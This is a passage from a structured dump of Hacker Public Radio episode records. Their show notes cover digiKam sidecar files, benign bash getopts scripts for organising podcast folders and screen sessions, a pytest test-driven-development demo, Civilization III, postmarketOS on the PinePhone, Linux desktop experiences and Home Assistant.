                                                            \n

                                                            Then there is an option if digiKam should write to side cars or not.\nAnd if yes, if it should write to both side cars and the object, or only\nif the object is write protected.

                                                            \n

                                                            Next I want to highlight the tick box if Associated files should be\ncompatible with commercial programs. This needs further\nexplanation:
                                                            \n

                                                            \n
                                                              \n
                                                            • Default in digiKam is to have separate xmp side cars for each type\nof photo file. For example, if you have a photo stored both as jpg and\nraw, they will have separate side cars. This indeed has its advantages\nbut is in my knowledge not according to xmp side car standard. According\nto standard, which digiKam refers to as commercial, the jpg and raw\nshare the same sidecar. For example Adobe Lightroom uses the commercial\nmethod.
                                                            • \n
                                                            \n

                                                            Examples to clarify:

                                                            \n
                                                              \n
                                                            • DigiKam side car file syntax: photo1.jpg.xmp and\nphoto1.raw.xmp.
                                                            • \n
                                                            • Standard/commercial file syntax: photo1.xmp.
                                                            • \n
                                                            \n

                                                            I highly recommend you to spend an hour or two to review all\nsettings, not only meta data, before you start to use digiKam for your\nreal photos. If there is something you do not understand, go to the\ndocumentation and do not hesitate to consult the digiKam mailing\nlist.

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"photography, photo, digiKam, Digital Asset Management, DAM, software, opensource","version":0,"downloads":0,"valid":1}, {"id":4088,"date":"2024-04-03","title":"Today I Learnt more Bash tips","duration":1419,"summary":"Sgoti talks about supplying options to bash scripts","notes":"

                                                            Today I Learnt more Bash\ntips

                                                            \n

                                                            Sgoti talks\nabout supplying options to bash scripts

                                                            \n
                                                              \n
                                                            • Tags: Bash tips, TIL, getopts
                                                            • \n
                                                            \n
                                                            #!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: showtime.sh\n#Purpose: Time to make a show.\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2023-12-29\n\n#variables:\n\nbindir=/usr/bin/\n\ncat=${bindir}cat\ndate=${bindir}date\necho=${bindir}echo\nmkdir=${bindir}mkdir\n\ndirshow0=${HOME}/Music/hpr/shows\ndirshow1=${dirshow0}/$(${date} +%Y)\ndirqueue=${dirshow1}/queue/$(${date} +%F)\ndirreserve=${dirshow1}/reserve-queue/$(${date} +%F)\n\n#start:\n\nfunction help() {\n${cat} << EOH\nUsage: $0 [-s] [-r] [-q] [-h] name-of-show\n\n    -s    (Regular queue)\n    -r    (Reserve queue)\n    -q    (quit)\n    -h    (help)\n\nExamples:\n        $0 -s name-of-show\n        $0 -r name-of-show\n        $0 -q\n        $0 -h\n\nEOH\n}\n\n## Use `getopts` to read user option into script. ##\nwhile getopts ":s:r:q:h" option; do\n    case $option in\n        s)\n        show=$OPTARG\n\nfunction mkq () {\n    ${mkdir} -v -p ${dirqueue}/${show}/edit;\n    ${mkdir} -v -p ${dirqueue}/${show}/prod;\n    ${cat} > ${dirqueue}/${show}/edit/${show}.md << _EOD_\n# ${show} #\n\n## subtitle ##\n\n- Tags:\n\n\n\nThis work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](https://creativecommons.org/licenses/by-sa/4.0/ "CC-BY-SA 4.0 International").\n\n_EOD_\n\n    builtin pushd -n ${dirqueue}/${show}/edit;\n    builtin pushd -n ${dirqueue}/${show}/prod;\n}\n\n        if [ -d ${dirshow1} ]; then\n            mkq\n        else\n            ${echo} "Good Heavens! It's a new year.";\n            ${mkdir} -v -p ${dirshow1};\n\n            mkq\n        fi\n        ;;\n\n        r)\n        reserve=$OPTARG\nfunction mkr () {\n    ${mkdir} -v -p ${dirreserve}/${reserve}/edit;\n    ${mkdir} -v -p ${dirreserve}/${reserve}/prod;\n    ${cat} > ${dirreserve}/${reserve}/edit/${reserve}.md << _EOD_\n# ${reserve} #\n\n## subtitle ##\n\n- Tags:\n\n\n\nThis work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](https://creativecommons.org/licenses/by-sa/4.0/ "CC-BY-SA 4.0 International").\n\n_EOD_\n\n    builtin pushd -n ${dirreserve}/${reserve}/edit;\n    builtin pushd -n ${dirreserve}/${reserve}/prod;\n}\n\n        if [ -d ${dirshow1} ]; then\n            mkr\n        else\n            ${echo} "Good Heavens! It's a new year.";\n            ${mkdir} -v -p ${dirshow1};\n\n            mkr\n        fi\n        ;;\n\n        q)\n        ${echo} "Goodbye.";\n        exit\n        ;;\n\n        h)\n        help\n        exit\n        ;;\n\n        *)\n        if [ -z "${option}" ]; then\n            help\n            exit 1\n        fi\n\n        ${echo} "Good Heavens! Invalid input.";\n        help\n        exit\n        ;;\n    esac\ndone\n\n\nexit;\n
                                                            \n
                                                            #!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: sc.sh\n#Purpose:\n#Version: beta 0.01\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2023-12-31\n\n#variables:\n\nbindir=/usr/bin/\n\ncat=${bindir}cat\ndate=${bindir}date\necho=${bindir}echo\nls=${bindir}ls\nscreen=${bindir}screen\n\n#start:\n\n    ${echo} -e "\\nStep 0: $(${date} +%F), $(${date} +%T)";\n\nfunction help() {\n${cat} << EOH\nUsage: $0 [-b] [-s] [-k] [-h] name-of-show\n\n    -b [y|n] (Create or kill, base sockets.)\n    -s       (Create new sockets.)\n    -k       (Kill sockets.)\n    -h       (help menu)\n\nExamples:\n        $0 -b y\n        $0 -b n\n        $0 -s name-of-socket\n        $0 -k name-of-socket\n        $0 -h\n\nEOH\n}\n\n    ${echo} -e "\\nStep 1: $(${date} +%F), $(${date} +%T)";\n\nwhile getopts ":b:s:k:h:" option; do\n    case "${option}" in\n        b)\n        userinput0=$OPTARG\n        if [ ${userinput0} == "y" ]; then\n        ${screen} -dmS apps;\n        ${screen} -dmS jobby;\n        ${screen} -ls;\n        elif [ ${userinput0} == "n" ]; then\n        # You don't need the entire name to kill the socket.\n        ${screen} -X -S "app" kill\n        ${screen} -X -S "job" kill\n        ${screen} -ls;\n        else\n        ${echo} "Good Heavens!"\n        ${screen} -ls;\n            help\n            exit 1\n        fi\n        ;;\n\n        s)\n        userinput0=$OPTARG\n        ${screen} -dmS "${userinput0}";\n            clear\n        ${screen} -ls;\n            ${echo} -e "\\nNew sockets: $(${date} +%F), $(${date} +%T)";\n        ;;\n\n        k)\n        userinput0=$OPTARG\n        ${screen} -XS ${userinput0} kill\n            clear\n        ${screen} -ls;\n            ${echo} -e "\\nKill sockets: $(${date} +%F), $(${date} +%T)";\n        ;;\n\n        h)\n        help\n            ${echo} -e "\\nHelp menu: $(${date} +%F), $(${date} +%T)";\n        exit\n        ;;\n\n        *)\n        if [ -z "${option}" ]; then\n            help\n            exit 1\n        fi\n\n        ${echo} "Good Heavens! Invalid input.";\n        help\n        exit\n        ;;\n    esac\ndone\n\n    ${echo} -e "\\nStep 2: $(${date} +%F), $(${date} +%T)";\n\nexit;\n
                                                            \n
                                                              \n
                                                            • Source: In-Depth Series:\nToday I Learnt
                                                            • \n
                                                            • Source: In-Depth Series:\nBash Scripting
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"Bash tips, TIL, getopts","version":0,"downloads":0,"valid":1}, {"id":4089,"date":"2024-04-04","title":"Modifying a Python script with some help from ChatGPT ","duration":1393,"summary":"In this episode I describe my experience of fixing some Python code with some help from ChatGPT.","notes":"

                                                            Below are some links relating to things I discuss in the episode.

                                                            \n

                                                            Note I haven’t included my actual Python code for fear that it would\nbe in breach of the copyright used by HPR as it is based on the output\nfrom ChatGPT.

                                                            \n

                                                            If you would like a copy of the code then place contact me via email\nat mrxathpr@googlemail.com requesting a copy of the\ncode.

                                                            \n

                                                            Related links

                                                            \n

                                                            Wikipedia\narticle about the Raspberry pi

                                                            \n

                                                            Link\nto PiFace control and display add on board for the Raspberry pi In my\nepisode I repeatedly incorrectly refer to it as “Command and\nDisplay

                                                            \n

                                                            Wikipedia\narticle about the Python programming language

                                                            \n

                                                            hpr2344:\nFollow on to HPR2340 (Tracking the HPR queue in Python)

                                                            \n

                                                            Link to USB powered LED\nBlinkStick

                                                            \n

                                                            Link to new\nHPR stats page in JSON format

                                                            \n

                                                            Wikipedia article about\nthe JSON file format

                                                            \n

                                                            Wikipedia article about\nthe XML file format

                                                            \n

                                                            hpr3067:\nGetting my Python3 code working in Python2

                                                            \n

                                                            Link to the ChatGPT\nwebsite

                                                            \n

                                                            Wikipedia\narticle about the R programming language

                                                            \n

                                                            Article\nabout assigning values to a variable in the R programming language A\nthought came to mind after recording the show. I suspect the reason that\nChatGPT incorrectly described the bit of code in the site my wife found\nwas due to lack of context. It may only have been fed the code without\nbeing told specifically that it was R code. Unfortunately I was unable\nto investigate this further as I was unable to find the original\nsite.

                                                            \n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Programming, Python, AI","version":0,"downloads":0,"valid":1}, {"id":4090,"date":"2024-04-05","title":"Playing Civilization III, Part 1","duration":904,"summary":"We begin to look at the details of playing this game","notes":"

                                                            This starts our look at the details of playing Civilization III. This\nwas a great advance on Civilization II, and we will see how this happens\nas we look at the Cities, and at the terrain types on the tiles.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.civfanatics.com/
                                                            • \n
                                                            • https://civilization.fandom.com/wiki/Apolyton_Civilization_Site
                                                            • \n
                                                            • https://strategywiki.org/wiki/Sid_Meier%27s_Civilization_III/Terrain
                                                            • \n
                                                            • https://www.palain.com/gaming/civilization-iii/playing-civilization-iii-part-1/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4091,"date":"2024-04-08","title":"Test Driven Development Demo","duration":1620,"summary":"norrist uses pytest to demonstrate TDD with a trival HPR info app","notes":"

                                                            Test Driven\nDevelopment Demo with PyTest

                                                            \n

                                                            TDD

                                                            \n
                                                              \n
                                                            • Discussed in hpr4075
                                                            • \n
                                                            • Write a new test and run it. It should fail.
                                                            • \n
                                                            • Write the minimal code that will pass the test
                                                            • \n
                                                            • Optionally - refactor the code while ensure the tests continue to\npass
                                                            • \n
                                                            \n

                                                            PyTest

                                                            \n
                                                              \n
                                                            • Framework for writing software tests with python
                                                            • \n
                                                            • Normally used to test python projects, but could test any software\nthat python can launch return input.
                                                            • \n
                                                            • if you can write python, you can write tests in PyTest.
                                                            • \n
                                                            • python assert - check that something is true
                                                            • \n
                                                            \n

                                                            Test Discovery

                                                            \n
                                                              \n
                                                            • Files named test*
                                                            • \n
                                                            • Functions named test*
                                                            • \n
                                                            \n

                                                            Demo Project

                                                            \n
                                                              \n
                                                            • Trivial app as a demo
                                                            • \n
                                                            • Print a summary of the latest HPR Episode
                                                            • \n
                                                            • Title, Host, Date, Audio File
                                                            • \n
                                                            • How do we get the latest show data\n
                                                                \n
                                                              • RSS feed
                                                              • \n
                                                              • Feed parser
                                                              • \n
                                                              • Feed URL
                                                              • \n
                                                            • \n
                                                            \n

                                                            The pytest setup

                                                            \n
                                                              \n
                                                            • The python script we want to test will be named\nhpr_info.py
                                                            • \n
                                                            • The test will be in a file will be named\ntest_hpr_info.py
                                                            • \n
                                                            \n

                                                            test_hpr_info.py

                                                            \n
                                                            import hpr_info
                                                            \n

                                                            Run pytest

                                                            \n
                                                            ModuleNotFoundError: No module named 'hpr_info'
                                                            \n
                                                              \n
                                                            • We have written our first failing test.
                                                            • \n
                                                            • The minimum code to get pytest to pass is to create an empty\nfile
                                                            • \n
                                                            • touch hpr_info.py
                                                            • \n
                                                            \n

                                                            Run pytest again

                                                            \n
                                                             pytest\n============================= test session starts ==============================\nplatform linux -- Python 3.11.8, pytest-7.4.4, pluggy-1.4.0\nrootdir: /tmp/Demo\ncollected 0 items
                                                            \n

                                                            What just happened

                                                            \n
                                                              \n
                                                            • We created a file named test_hpr_info.py with a single\nline to import hpr_info
                                                            • \n
                                                            • We ran pytest and it failed because hpr_info.py did not exist
                                                            • \n
                                                            • We created hpr_info.py and pytest ran without an\nerror.
                                                            • \n
                                                            • This means we confirmed:\n
                                                                \n
                                                              • Pytest found the file named test_hpr_info.py and tried\nto execute its tests
                                                              • \n
                                                              • The import line is looking for a file named\nhpr_info.py
                                                              • \n
                                                            • \n
                                                            \n

                                                            Python Assert

                                                            \n
                                                              \n
                                                            • In python, assert tests if a statement is true
                                                            • \n
                                                            • For example
                                                            • \n
                                                            \n
                                                            asert 1==1
                                                            \n

                                                            In pytest, we can use assert to check a function returns a specific\nvalue

                                                            \n
                                                            assert module.function() == "Desired Output"
                                                            \n

                                                            Without doing a comparison operator, we can also use assert to check\nif something exists without specifying a specific value

                                                            \n
                                                            assert dictionary.key
                                                            \n

                                                            Adding a Test

                                                            \n
                                                              \n
                                                            • Import hpr_info will allow us to test functions inside\nhpr_info.py
                                                            • \n
                                                            • We can reference functions inside hpr_info.py by\nprepending the name with hpr_info. for example
                                                            • \n
                                                            \n
                                                            hpr_info.HPR_FEED
                                                            \n
                                                              \n
                                                            • The first step in finding the latest HPR episode is fetching a copy\nof the feed.
                                                            • \n
                                                            • Lets add a test to make sure the HPR feed is defined
                                                            • \n
                                                            \n
                                                            import hpr_info\n\n\ndef test_hpr_feed_url():\n    assert hpr_info.HPR_FEED == "https://hackerpublicradio.org/hpr_ogg_rss.php"
                                                            \n

                                                            pytest again

                                                            \n
                                                              \n
                                                            • Lets run pytest again and we get the error\nAttributeError: module 'hpr_info' has no attribute 'HPR_FEED'
                                                            • \n
                                                            • So lets add the just enough code hpr_info.py to get the\ntest to pass
                                                            • \n
                                                            \n
                                                            HPR_FEED = "https://hackerpublicradio.org/hpr_ogg_rss.php"
                                                            \n
                                                              \n
                                                            • Run pytest again and we get 1 passed indicating the\npytest found 1 test which passed
                                                            • \n
                                                            • Hooray, we are doing TDD
                                                            • \n
                                                            \n

                                                            Next Test - Parsing the feed

                                                            \n
                                                              \n
                                                            • lets plan a function that pulls the HPR feed and returns the feed\ndata.
                                                            • \n
                                                            • We can test that the result of fetching the feed is a HTTP 200
                                                            • \n
                                                            \n
                                                            def test_get_show_data():\n    show_data = hpr_info.get_show_data()\n    assert show_data.status == 200
                                                            \n
                                                              \n
                                                            • Now when we run pytest we get 1 failed, 1 passed and we\ncan see the error\nAttributeError: module 'hpr_info' has no attribute 'get_show_data'
                                                            • \n
                                                            • Lets write the code to get the new test to pass.
                                                            • \n
                                                            • We will use the feedparser python module to make it\neasier to parse the rss feed.
                                                            • \n
                                                            • After we add the import and the new function,\nhpr_info.py looks like this
                                                            • \n
                                                            \n
                                                            import feedparser\n\nHPR_FEED = "https://hackerpublicradio.org/hpr_ogg_rss.php"\n\n\ndef get_show_data():\n    showdata = feedparser.parse(HPR_FEED)\n    return showdata\n
                                                            \n
                                                            \n
                                                              \n
                                                            • Lets run pytest again. When I have more than one test, I like to add\nthe -v flag so I can see each test as it runs.
                                                            • \n
                                                            \n
                                                            test_hpr_info.py::test_hpr_feed_url PASSED                                                                                               [ 50%]\ntest_hpr_info.py::test_get_show_data PASSED                                                                                              [100%]
                                                            \n

                                                            Next Test\n- Get the most recent episode from the feed

                                                            \n
                                                              \n
                                                            • Now that we have the feed, lets test getting the first episode.
                                                            • \n
                                                            • feedparser entries are dictionaries.
                                                            • \n
                                                            • Lets test what the function returns to make sure it looks like a rss\nfeed entry.
                                                            • \n
                                                            \n
                                                            def test_get_latest_entry():\n    latest_entry = hpr_info.get_latest_entry()\n    assert latest_entry["title"]\n    assert latest_entry["published"]
                                                            \n
                                                            \n
                                                              \n
                                                            • After we verify the test fails, we can write the code to rerun the\nnewest entry data to hpr_info.py and pytest -v\nwill show 3 passing tests.
                                                            • \n
                                                            \n
                                                            def get_latest_entry():\n    showdata = get_show_data()\n    return showdata["entries"][0]
                                                            \n

                                                            Final Test

                                                            \n
                                                              \n
                                                            • Lets test a function to see if it returns the values we want to\nprint.
                                                            • \n
                                                            • We don't test for specific values, just that the data exists.
                                                            • \n
                                                            \n
                                                            def test_get_entry_data():\n    entry_data = hpr_info.get_entry_data(hpr_info.get_latest_entry())\n    assert entry_data["title"]\n    assert entry_data["host"]\n    assert entry_data["published"]\n    assert entry_data["file"]
                                                            \n
                                                            \n

                                                            And then code to get the test to pass

                                                            \n
                                                            def get_entry_data(entry):\n    for link in entry["links"]:\n        if link.get("rel") == "enclosure":\n            enclosure = link.get("href")\n\n    return {\n        "title": entry["title"],\n        "host": entry["authors"][0]["name"],\n        "published": entry["published"],\n        "file": enclosure,\n    }
                                                            \n

                                                            Finish the HPR info script.

                                                            \n

                                                            Now that we have tested that we can, get all the info we want from\nthe most recent episode lets add the last bit of code to\nhpr_info.py to print the episode info

                                                            \n
                                                            if __name__ == "__main__":\n    most_recent_show = get_entry_data(get_latest_entry())\n    print()\n    print(f"Most Recent HPR Episode")\n    for x in most_recent_show:\n        print(f"{x}: {most_recent_show.get(x)}")
                                                            \n

                                                            if __name__ == \"__main__\": ensures code inside this\nblock will only run when the script is called directly, and not when\nimported by test_hpr_info.py

                                                            \n

                                                            Summary

                                                            \n
                                                              \n
                                                            • TDD is a programming method where you write tests prior to writing\ncode.
                                                            • \n
                                                            • TDD forces me to write smaller functions and more modular code.
                                                            • \n
                                                            • Link to HPR info script and tests - TODO
                                                            • \n
                                                            • Additional tests to add\n
                                                                \n
                                                              • Check date is the most recent weekday
                                                              • \n
                                                              • Check this the host is listed on corespondents page
                                                              • \n
                                                              • Check others.
                                                              • \n
                                                            • \n
                                                            • Project Files - https://gitlab.com/norrist/hpr-pytest-demo
                                                            • \n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, testing, pytest","version":0,"downloads":0,"valid":1}, {"id":4092,"date":"2024-04-09","title":"More man-talk.","duration":1172,"summary":"Sgoti talks about using bidets and other things. Good heavens!","notes":"

                                                            More man-talk.

                                                            \nSgoti\ntalks about using bidets and other things. Good heavens!\n
                                                              \n
                                                            • Tags: mens health, bidets, fiber

                                                            • \n
                                                            • Source: hellotushy: We’re a team of toilet\ncrusaders, fighting for clean bums and reduced global\nwastefulness.
                                                              \n

                                                            • \n
                                                            • Supporting source: hellotushy: TUSHY Classic\n3.0
                                                              \n

                                                            • \n
                                                            • Source: metamucil:\nMetamucil is the only leading fiber supplement that\ncontains natural psyllium fiber.
                                                              \n

                                                            • \n
                                                            • Supporting source: metamucil:\nMetamucil Real Sugar Orange Smooth Powder.
                                                              \n

                                                            • \n
                                                            • Supporting source: wikipedia:\nDietary fiber (fibre in Commonwealth English) or\nroughage is the portion of plant-derived food that cannot be completely\nbroken down by human digestive enzymes.
                                                              \n

                                                            • \n
                                                            • Supporting source: wikipedia:\nPsyllium, is the common name used for several members\nof the plant genus Plantago whose seeds are used commercially for the\nproduction of mucilage.
                                                              \n

                                                            • \n
                                                            • Supporting source: wikipedia: Fibre\nsupplements are widely available, and can be found in forms\nsuch as powders, tablets, and capsules. Consumption of fibre supplements\nmay be for: improving dietary intake, lowering blood cholesterol,\nalleviating irritable bowel syndrome, reducing the risk of colon cancer,\nand increasing feelings of satiety.
                                                              \n

                                                            • \n
                                                            • Supporting source: walmart:\nEquate Multi-Health Daily Fiber Supplement, Orange\nFlavored Powder, Value Size (48.2 oz)
                                                              \n

                                                            • \n
                                                            • Supporting source: samsclub:\nMember's Mark 100% Psyllium Husk Fiber Capsules, 400 ct./pk., 2\npk.
                                                              \n

                                                            • \n
                                                            • Supporting source: hackerpublicradio: hpr4083\n:: Drivecast: Man-talk.
                                                              \n

                                                            • \n
                                                            • Supporting source: hackerpublicradio:\nhpr3048 :: Alternatives to toilet paper
                                                              \n

                                                            • \n
                                                            • Supporting source: hackerpublicradio:\nhpr2345 :: Fixing a toilet roll holder
                                                              \n

                                                            • \n
                                                            • Supporting source: hackerpublicradio:\nhpr2111 :: HPR Community News for August 2016
                                                              \n

                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"mens health, bidets, fiber","version":0,"downloads":0,"valid":1}, {"id":4093,"date":"2024-04-10","title":"Installing postmarketOS on a PINE64 PinePhone","duration":452,"summary":"Claudio discusses how to install postmarketOS on the PINE64 PinePhone","notes":"

                                                            Shownotes:

                                                            \n
                                                              \n
                                                            • postmarketOS website: https://postmarketos.org/
                                                            • \n
                                                            • pmOS image download page: https://postmarketos.org/download/
                                                            • \n
                                                            • pmOS wiki page for PINE64 PinePhone: https://wiki.postmarketos.org/wiki/PINE64_PinePhone_(pine64-pinephone)
                                                            • \n
                                                            • JumpDrive: https://github.com/dreemurrs-embedded/Jumpdrive
                                                            • \n
                                                            • JumpDrive images (does not currently support PinePhone Pro!): https://github.com/dreemurrs-embedded/Jumpdrive/releases
                                                            • \n
                                                            • Explanation of \"pine64-pinephone-charging\" image: https://github.com/dreemurrs-embedded/Jumpdrive/issues/55
                                                            • \n
                                                            • pmOS wiki page on how to flash an SD card with JumpDrive: https://wiki.postmarketos.org/wiki/JumpDrive
                                                            • \n
                                                            • On-Device Installer (ondev): https://wiki.postmarketos.org/wiki/On-device_installer
                                                            • \n
                                                            • Ondev2: https://wiki.postmarketos.org/wiki/Ondev2
                                                            • \n
                                                            • Installing a prebuilt pmOS on PinePhone with JumpDrive: https://wiki.postmarketos.org/wiki/Installation
                                                            • \n
                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,mobile,pine64,pinephone,postmarketos,pmos","version":0,"downloads":0,"valid":1}, {"id":4094,"date":"2024-04-11","title":"One year of Linux","duration":1043,"summary":"My experience of running Linux full time for a year.","notes":"

                                                            In this episode I go through the pros and cons of running Linux when\nyou switch over from a Windows machine.

                                                            \n

                                                            I'll cover topics like:

                                                            \n
                                                              \n
                                                            • Speed
                                                            • \n
                                                            • Simplicity
                                                            • \n
                                                            • Configuration
                                                            • \n
                                                            • Games
                                                            • \n
                                                            • Updates
                                                            • \n
                                                            \n

                                                            and much more.

                                                            \n

                                                            Links

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, windows","version":0,"downloads":0,"valid":1}, {"id":4095,"date":"2024-04-12","title":"Twenty seven years of Linux","duration":2680,"summary":"Deltaray rambles on for 45 minutes and over exaggerates about how awesome it is to use Linux","notes":"

                                                            The programs and software I mentioned in this episode:

                                                            \n
                                                              \n
                                                            • XFCE
                                                            • \n
                                                            • Monad
                                                            • \n
                                                            • Gnome
                                                            • \n
                                                            • Firefox
                                                            • \n
                                                            \n
                                                              \n
                                                            • XFCE Terminal
                                                            • \n
                                                            • KiTTY
                                                            • \n
                                                            • Cool Retro Term
                                                            • \n
                                                            \n
                                                              \n
                                                            • GIMP
                                                            • \n
                                                            • Gnumeric
                                                            • \n
                                                            • Thunar
                                                            • \n
                                                            • Hypnotix
                                                            • \n
                                                            • Flameshot
                                                            • \n
                                                            • Mousepad
                                                            • \n
                                                            • Inkscape
                                                            • \n
                                                            • pavucontrol (Pulse Audio)
                                                            • \n
                                                            • pipewire
                                                            • \n
                                                            • keepassxc
                                                            • \n
                                                            • Blender
                                                            • \n
                                                            • FreeCAD
                                                            • \n
                                                            • SimpleScreenRecorder
                                                            • \n
                                                            • VirtualBox
                                                            • \n
                                                            • KVM
                                                            • \n
                                                            • Rhythmbox
                                                            • \n
                                                            • Gramps
                                                            • \n
                                                            • qv4l2 (Webcam control)
                                                            • \n
                                                            • Godot
                                                            • \n
                                                            • Krita
                                                            • \n
                                                            • Arduino IDE
                                                            • \n
                                                            • nerd-dictation
                                                            • \n
                                                            \n
                                                              \n
                                                            • Yoshimi
                                                            • \n
                                                            • Carla
                                                            • \n
                                                            • Audacity
                                                            • \n
                                                            • Rosegarden
                                                            • \n
                                                            • Hydrogen
                                                            • \n
                                                            • VCV Rack 2
                                                            • \n
                                                            \n
                                                              \n
                                                            • Stardew Valley
                                                            • \n
                                                            • Steam
                                                            • \n
                                                            • Minecraft
                                                            • \n
                                                            • SimCity 2000
                                                            • \n
                                                            • SimCity 3000
                                                            • \n
                                                            • Warzone 2100
                                                            • \n
                                                            • BeamNG
                                                            • \n
                                                            • Oni
                                                            • \n
                                                            • Supertux 2
                                                            • \n
                                                            • SuperTuxKart
                                                            • \n
                                                            • Nexuiz
                                                            • \n
                                                            • FlightGear
                                                            • \n
                                                            • Terraria
                                                            • \n
                                                            • Diablo 2 and 3
                                                            • \n
                                                            • World of Warcraft
                                                            • \n
                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,gui,applications,productivity,graphics,music,games,rants","version":0,"downloads":0,"valid":1}, {"id":4096,"date":"2024-04-15","title":"Powers of two","duration":1024,"summary":"A story and discussion around how knowing powers of two can be useful","notes":"
                                                            2\n4\n8\n16\n32\n64\n128\n256\n512\n1024\n2048\n4096\n8192\n16384\n32768\n65536\n131072\n262144\n524288\n1048576\n2097152\n4194304\n8388608\n16777216\n33554432\n67108864\n134217728\n268435456\n536870912\n1073741824\n2147483648\n4294967296\n8589934592\n17179869184\n34359738368\n68719476736\n137438953472\n274877906944\n549755813888\n1099511627776\n2199023255552\n4398046511104\n8796093022208\n17592186044416\n35184372088832\n70368744177664\n140737488355328\n281474976710656\n562949953421312\n1125899906842624\n2251799813685248\n4503599627370496\n9007199254740992\n18014398509481984\n36028797018963968\n72057594037927936\n144115188075855872\n288230376151711744\n576460752303423488\n1152921504606846976\n2305843009213693952\n4611686018427387904\n9223372036854775808\n18446744073709551616
                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"math,debugging,commodore,amiga,sysadmin,servers,software","version":0,"downloads":0,"valid":1}, {"id":4097,"date":"2024-04-16","title":"Will they take our jobs? Of course they will.","duration":2042,"summary":"I blather on about my thoughts on robots taking our jobs.","notes":"

                                                            Just me explaining why I think the robots will take our jobs.

                                                            \n","hostid":151,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"AI,Robots","version":0,"downloads":0,"valid":1}, {"id":4098,"date":"2024-04-17","title":"Road trips without GPS","duration":434,"summary":"A short, off the cuff, discussion of how we navigated road trips in the past","notes":"

                                                            This was an unscheduled recording I made after my GPS failed part way\ninto a long cross country trip. I did not make any notes. :(

                                                            \n

                                                            Effectively, this is a \"Back in my day\" old man rant.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"maps, travel, navigation, rant","version":0,"downloads":0,"valid":1}, {"id":4099,"date":"2024-04-18","title":"Introducing Home Automation and Home Assistant","duration":915,"summary":"A new series about all things Home Automation, this time a introduction to Home Assistant","notes":"

                                                            Home Automation, The\nInternet of things.

                                                            \n

                                                            This is the first episode in a new series called\nHome\nAutomation. The series is open to anyone and I encourage everyone to\ncontribute.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Home_automation From\nWikipedia, the free encyclopedia

                                                            \n

                                                            Home automation or domotics is building automation for a home. A home\nautomation system will monitor and/or control home attributes such as\nlighting, climate, entertainment systems, and appliances. It may also\ninclude home security such as access control and alarm systems.

                                                            \n

                                                            The phrase smart home refers to home automation devices that have\ninternet access. Home automation, a broader category, includes any\ndevice that can be monitored or controlled via wireless radio signals,\nnot just those having internet access. When connected with the Internet,\nhome sensors and activation devices are an important constituent of the\nInternet of Things (\"IoT\").

                                                            \n

                                                            A home automation system typically connects controlled devices to a\ncentral smart home hub (sometimes called a \"gateway\"). The user\ninterface for control of the system uses either wall-mounted terminals,\ntablet or desktop computers, a mobile phone application, or a Web\ninterface that may also be accessible off-site through the Internet.

                                                            \n

                                                            Now is the time

                                                            \n

                                                            I tried this out a few years ago, but after a lot of frustration with\nconfiguration of esp32 arduinos, and raspberry pi's I left it be.\nRecently inspired by colleagues in work, I decided to get back into it\nand my initial tests show that the scene has much improved over the\nyears.

                                                            \n

                                                            Youtube Playlist

                                                            \n\n

                                                            Home Assistant

                                                            \n

                                                            The first thing we'll need is something to control it all. Something\nwill allow us to control our homes without requiring the cloud.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Home_Assistant From\nWikipedia, the free encyclopedia

                                                            \n

                                                            Home Assistant is free and open-source software for home automation,\ndesigned to be an Internet of things (IoT) ecosystem-independent\nintegration platform and central control system for smart home devices,\nwith a focus on local control and privacy. It can be accessed through a\nweb-based user interface, by using companion apps for Android and iOS,\nor by voice commands via a supported virtual assistant, such as Google\nAssistant or Amazon Alexa, and their own \"Assist\" (built-in local voice\nassistant).

                                                            \n

